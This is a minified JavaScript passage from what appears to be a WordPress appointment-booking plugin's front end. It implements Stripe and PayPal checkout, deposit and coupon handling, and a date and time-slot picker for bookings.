mpa-hide")+'">',t+="<fieldset>",e){case"payment":t+=this.renderPaymentFields();break;case"card":t+=this.renderCardFields();break;case"ideal":t+=this.renderIdealFields();break;case"sepa_debit":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+="</fieldset>","sepa_debit"===e&&(t+='<p class="notice">',t+=u("By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.","motopress-appointment").replace("%s",m().settings().getBusinessName()),t+="</p>"),t+="</div>",t}renderPaymentFields(){let e="";return e+='<div id="mpa-stripe-payment-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-element"></div>',e}renderCardFields(){let e="";return e+='<label for="mpa-stripe-card-element-'+this.uid+'">',e+=u("Credit or debit card","motopress-appointment"),e+="</label>",this.methods.card.isEnabledWallets()&&(e+='<div id="mpa-stripe-payment-request-button-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement"></div>',e+='<div class="mpa-stripe-payment-request-button-separator">'+u("or","motopress-appointment")+"</div>"),e+='<div id="mpa-stripe-card-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate"></div>',e}renderIdealFields(){let e="";return e+='<label for="mpa-stripe-ideal-element-'+this.uid+'">',e+=u("Select iDEAL Bank","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-ideal-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate"></div>',e}renderSepaDebitFields(){let e="";return e+='<label for="mpa-stripe-iban-element-'+this.uid+'">',e+=u("IBAN","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-iban-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate"></div>',e}renderRedirectNotice(){let e="";return e+='<p class="notice">',e+=u("You will be redirected to a secure page to complete the payment.","motopress-appointment"),e+="</p>",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass("mpa-hide")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass("mpa-hide").html("")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class xe extends Ee{load(){return this.loadPromise=h("/payments/settings",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Fe{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,s){if(this.api=e,this.settings=s,this.elements=t,new.target===Fe)throw new Error("Cannot construct Abstract instances directly");if(void 0===this.setupProperties)throw new Error("Must override method: setupProperties()");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('"name" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('"title" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,s){let i={type:this.name,billing_details:{name:e.padEnd(3," "),email:t,phone:s}};return null!==this.control&&(i[this.name]=this.control),i}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error("Abstract Method has no implementation")}processPayment(e,t,s){const i=e.getCustomer(),a=this.createPaymentMethodData(i.name,i.email,i.phone);return this.createPaymentMethod(a).then((t=>{if(t.error)throw new Error(t.error.message);return c("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return"requires_action"==e.status&&"redirect_to_url"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error("Unable to process payment.",e.message),null!=s.error_handler&&s.error_handler(e.message),e}))}}class Be extends Fe{setupProperties(){this.name="payment",this.title=u("Payment methods","motopress-appointment"),this.customerDetails={name:"",email:"",phone:""}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:"",email:"",phone:""}}confirmPayment(e,t){const s=this.getCustomerDetails(),i=this.elements;return new Promise(((e,t)=>{i.submit().then((({error:s})=>{if(s){const e=s.message||"";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var a,r,n;return this.api.confirmPayment({elements:i,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(a=s?.name)&&void 0!==a?a:null,email:null!==(r=s?.email)&&void 0!==r?r:null,phone:null!==(n=s?.phone)&&void 0!==n?n:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:"if_required"})})).catch((e=>{throw console.error("Error during payment confirmation:",e),e}))}processPayment(e,t,s){return c("/payments/prepare",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if("requires_action"===e.status){if("redirect_to_url"!==e.next_action.type)throw new Error("The user has cancelled or failed to complete the payment.");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error("Unable to process payment.",e.message),e;throw new Error("Unable to process payment.")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create("payment",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?"never":"auto",email:e?.email?"never":"auto",phone:e?.phone?"never":"auto",address:{line1:"auto",line2:"auto",city:"auto",state:"auto",country:"auto",postalCode:"auto"}}}})}}class Le extends Fe{setupProperties(){this.name="card",this.title=u("Card","motopress-appointment"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:m().settings().getCurrency().toLowerCase(),total:{label:u("Total","motopress-appointment"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return["apple_pay","google_pay","link"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const s=t.toLowerCase().replace(/([-_][a-z])/g,(e=>e.toUpperCase().replace("-","").replace("_","")));e.push(s)}})),e}createPaymentRequestButton(){return this.elements.create("paymentRequestButton",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:"50px"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}proccessPaymentRequestButtonHandler(e,t){const s=e.getCustomer();return this.api.createPaymentMethod({type:"card",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:s.name,email:s.email,phone:s.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete("fail"),new Error(t.error.message);return c("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete("success"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,console.error("Unable to process payment.",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,s){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,s):super.processPayment(e,t,s)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Oe extends Fe{setupProperties(){this.name="sepa_debit",this.title=u("SEPA Direct Debit","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create("iban",{style:this.settings.style,supportedCountries:["SEPA"]})}}class Re extends Fe{setupProperties(){this.name="bancontact",this.title=u("Bancontact","motopress-appointment")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Ne extends Fe{setupProperties(){this.name="ideal",this.title=u("iDEAL","motopress-appointment")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create("idealBank",{style:this.settings.style})}}class Ve extends Fe{setupProperties(){this.name="giropay",this.title=u("Giropay","motopress-appointment")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class qe extends Fe{setupProperties(){this.name="sofort",this.title=u("SOFORT","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,s){let i=super.createPaymentMethodData(e,t,s);return i.sofort={country:this.settings.country},i}}class Ue extends xe{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId="stripe",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader")}isValidAcceptTerms(){if(!m().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=m().settings().getCurrency()),t.toUpperCase()){case"BIF":case"CLP":case"DJF":case"GNF":case"JPY":case"KMF":case"KRW":case"MGA":case"PYG":case"RWF":case"UGX":case"VND":case"VUV":case"XAF":case"XOF":case"XPF":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,m().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:u("Total","motopress-appointment"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0<this.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0<this.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new Me(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error("The payment gateway is not valid."));this.$gatewayPreloader.removeClass("mpa-hide");let s=this.view.selectedMethod,i=jQuery.extend({payment_method:s},this.settings,t),a={error_handler:this.view.showError.bind(this.view)};return this.methods[s].processPayment(e,i,a).then((e=>(this.$gatewayPreloader.addClass("mpa-hide"),e)),(e=>{throw this.$gatewayPreloader.addClass("mpa-hide"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:"auto",payment_methods:[],public_key:"",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:"2023-10-16"}),s=t.elements({mode:"payment",locale:this.settings.locale,currency:m().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((i=>{switch(i){case"payment":e.payment=new Be(t,s,this.settings),e.payment.provideCart(this.cart);break;case"card":e.card=new Le(t,s,this.settings),e.card.getControl().on("change",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on("token",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on("cancel",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on("click",this.onClickPaymentRequestButton.bind(this)))}));break;case"sepa_debit":e.sepa_debit=new Oe(t,s,this.settings),e.sepa_debit.getControl().on("change",this.onChange.bind(this));break;case"bancontact":e.bancontact=new Re(t,s,this.settings);break;case"ideal":e.ideal=new Ne(t,s,this.settings);break;case"giropay":e.giropay=new Ve(t,s,this.settings);break;case"sofort":e.sofort=new qe(t,s,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class He extends xe{setupProperties(){super.setupProperties(),this.gatewayId="paypal"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest("form").find(".mpa-button-next").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest("form").find(".mpa-button-next").show()}mount(e){let t=this;t.$errorWrapper=e.find(".mpa-paypal-error"),t.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),paypal.Buttons({onInit(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||s.disable(),e.addEventListener("change",(e=>{e.target.checked?s.enable():s.disable()}))}},onClick:function(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click"))},createOrder:function(e,s){return t.$errorWrapper.addClass("mpa-hide"),t.$gatewayPreloader.removeClass("mpa-hide"),c("/payments/prepare",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass("mpa-hide"),e)))},onApprove:function(e,s){return s.order.capture().then((function(e){t.paypalDetails=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass("mpa-hide")}}).render(e.find(".mpa-paypal-container")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class je{static createGateways(e,t){let s={};for(let i of m().settings().getActiveGateways()){let a=e.find(".mpa-"+i+"-payment-gateway .mpa-billing-fields"),r=0!==a.length?je.createGateway(i,a,t):null;null!==r&&(s[i]=r)}return s.free=new Ae({},t),s}static createGateway(e,t,s){switch(e){case"manual":case"test":case"cash":case"bank":return new Ee(t,s);case"paypal":return new He(t,s);case"stripe":return new Ue(t,s);default:return wp.hooks.applyFilters("mpa_create_gateway",null,e,t,s)}}}class We extends pe{setupProperties(){super.setupProperties(),this.lastCartHash="",this.gatewayId="",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(".mpa-checkout-form"),this.$order=this.$element.find(".mpa-order"),this.$billingSection=this.$element.find(".mpa-billing-details"),this.$paymentGateways=this.$billingSection.find(".mpa-payment-gateway"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name="payment_gateway_id"]'),this.$message=this.$element.find(".mpa-message").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(".mpa-deposit-section"),this.$depositSwitcher=this.$element.find('input[name="mpa-deposit-switcher"]'),this.$depositTable=this.$element.find("#mpa-deposit-table"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.couponSection=null}theId(){return"payment"}propertiesSchema(){return{gatewayId:{type:"string",default:""},isDepositDisabled:{type:"bool",default:!1},acceptTerms:{type:"bool",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass("mpa-hide",!e.trim().length)}clearErrorMessage(){this.setErrorMessage("")}hideDeposit(){this.$deposit.addClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!1),this.setProperty("isDepositDisabled",this.$depositSwitcher.prop("checked"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty("gatewayId",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on("submit",(e=>!1)),this.$paymentGatewayButtons.on("change",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on("input",(e=>{this.$depositTable.toggleClass("mpa-hide",e.target.checked),this.setProperty("isDepositDisabled",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():""})}))}loadEntities(){this.isLoaded||this.$element.removeClass("mpa-hide"),this.lastCartHash=this.cart.getHash("order"),m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(".mpa-coupon-details"),this.cart)),this.updateOrderDetails();let e=[];return"free"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,"order")?(this.lastCartHash=this.cart.getHash("order"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters("mpa_booking_reload_drafts",!1)?this.loadDrafts():Promise.resolve(this)}reset(){m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),this.lastCartHash="";let e=m().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(":checked").prop("checked",!1),e in this.gateways?(this.setProperty("gatewayId",e),this.$paymentGatewayButtons.filter('[value="'+e+'"]').prop("checked",!0)):this.resetProperty("gatewayId");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(be(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let s="";return t>0&&(s+='<table class="widefat">',s+="<tbody>",s+='<tr class="mpa-deposit-title">',s+='<td class="column-title" colspan="2">',s+=u("Deposit","motopress-appointment"),s+="</td>",s+="</tr>",s+='<tr class="mpa-deposit-now">',s+='<th class="column-title">',s+=u("Paying now","motopress-appointment"),s+="</th>",s+='<th class="column-price">',s+=_e(e.deposit),s+="</th>",s+="</tr>",s+='<tr class="mpa-deposit-left">',s+='<th class="column-title">',s+=u("Left to pay","motopress-appointment"),s+="</th>",s+='<th class="column-price">',s+=_e(t),s+="</th>",s+="</tr>",s+="</tbody>",s+="</table>"),s}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(":checked").length>0&&this.toggleDepositSection()}let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:""}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId("free",!1);else{const e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass("mpa-hide",e),this.$paymentGatewayButtons.prop("required",!e)}loadGateways(){let e=this.$billingSection.find(".mpa-payment-gateways");this.gateways=je.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return c("/bookings/draft",{...wp.hooks.applyFilters("mpa_booking_draft_data",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop("disabled",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return""!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,s){s in this.gateways&&this.gateways[s].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop("disabled",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return"object"==typeof e&&"function"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class Ge extends pe{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash="",this.monthSlots={},this.date="",this.time="",this.datepicker=null,this.$dateWrapper=this.$element.find(".mpa-date-wrapper"),this.$dateInput=this.$element.find(".mpa-date"),this.$timeWrapper=this.$element.find(".mpa-time-wrapper"),this.$times=this.$timeWrapper.find(".mpa-times"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return"period"}getCartContext(){return"cart item"}propertiesSchema(){return{date:{type:"string",default:""},time:{type:"string",default:""}}}addListeners(){super.addListeners(),this.$dateInput.on("change",(e=>this.setProperty("date",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash("availability"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,"availability")?(this.$element.removeClass("mpa-loaded"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash="",this.monthSlots={},this.resetDate()}isValidInput(){return""!=this.date&&""!=this.time}resetDate(){this.resetProperty("date")}resetTime(){this.$times.empty(),this.resetProperty("time")}setEnabledDays(e){F(e,!0)?this.datepicker.set("enable",["2000-01-01"]):this.datepicker.set("enable",e)}afterUpdate(e,t,s){"date"==e&&(""==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass("mpa-hide",""==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let s=t.locale||m().settings().getFlatpickrLocale(),i=flatpickr.l10ns[s]||s;"object"==typeof i&&(i.firstDayOfWeek=m().settings().getFirstDayOfWeek());let a={formatDate:f,inline:!0,locale:i,monthSelectorType:"static",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:m().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=b(this.date),e.time=new Y(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),s=t[0],i=t[1];null===e.employee&&e.setEmployee(s,!1),null===e.location&&e.setLocation(i,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent("mpa_add_to_cart",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent("mpa_view_cart",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t);const i=this.monthSlots[s];if(i&&Object.keys(i).length>0){const e=Object.keys(i)[0],t=Object.keys(i[e])[0];this.datepicker.setDate(e,!0);this.$times.children(".mpa-time-period").filter(((e,s)=>s.getAttribute("date-time")===t)).trigger("click"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let s=this.monthSlots[t][this.date];for(let t in s)if(t===this.time){let i=s[t];e[0]=i[0][0],e[1]=i[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass("mpa-loaded");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t),i=null;if(this.monthSlots[s])i=Promise.resolve(this.monthSlots[s]);else{i=function(e,t,s,i){return h("/calendar/time",{service_id:e,employee_in:i.employee_in?i.employee_in.join(","):"",location_in:i.location_in?i.location_in.join(","):"",date_from:f(t,"internal"),date_to:f(s,"internal"),exclude_cart:i.exclude_cart?i.exclude_cart:[]}).catch((e=>console.error("Failed to make time slots in mpa_time_slots().",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([i,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[s]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass("mpa-loaded"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray("items")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let s=0;for(let t in e){let i=new Y(t).toString("public",'<span class="mpa-period-end-time"> - ')+"</span>",a=this.cartItem.getService();if(a.isGroupService()){let s=a.getMinCapacity();for(let i of e[t])s=Math.max(s,i[3]);i+=" ",i+='<span class="mpa-slot-capacity">',i+='<span class="mpa-slot-capacity-label">'+a.getQuantityLabel()+":</span>",i+="&nbsp;",i+='<span class="mpa-slot-capacity-number">'+s+"</span>",i+="</span>"}let r=ye(i,{class:"button button-secondary mpa-time-period","date-time":t});this.$times.append(r),s++}s>0?this.$times.children(".mpa-time-period").on("click",(e=>this.onTime(e,e.currentTarget))):this.$times.text(u("Sorry, but we were unable to allocate time slots for the date you selected.","motopress-appointment"))}getMonthKey(e,t){return t<=8?e+"-0"+(t+1):e+"-"+(t+1)}getCurrentMonthKey(){if(""!==this.date){let e=b(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return"2000-01"}onTime(e,t){this.$times.children(".mpa-time-period-selected").removeClass("mpa-time-period-selected"),t.classList.add("mpa-time-period-selected"),this.setProperty("time",t.getAttribute("date-time"))}}class ze extends pe{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category="",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(".mpa-service-form"),this.$categories=this.$element.find(".mpa-service-category-wrapper"),this.$services=this.$element.find(".mpa-service-wrapper"),this.$employees=this.$element.find(".mpa-employee-wrapper"),this.$locations=this.$element.find(".mpa-location-wrapper"),this.$selects=this.$element.find(".mpa-input-wrapper select"),this.$categoriesSelect=this.$selects.filter(".mpa-service-category"),this.$servicesSelect=this.$selects.filter(".mpa-service"),this.$employeesSelect=this.$selects.filter(".mpa-employee"),this.$locationsSelect=this.$selects.filter(".mpa-location"),this.unselectedServiceText=this.$servicesSelect.children('[value=""]').text(),this.unselectedOptionText=this.$selects.filter(".mpa-optional-select").first().find("option:first").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return"service-form"}getCartContext(){return"cart 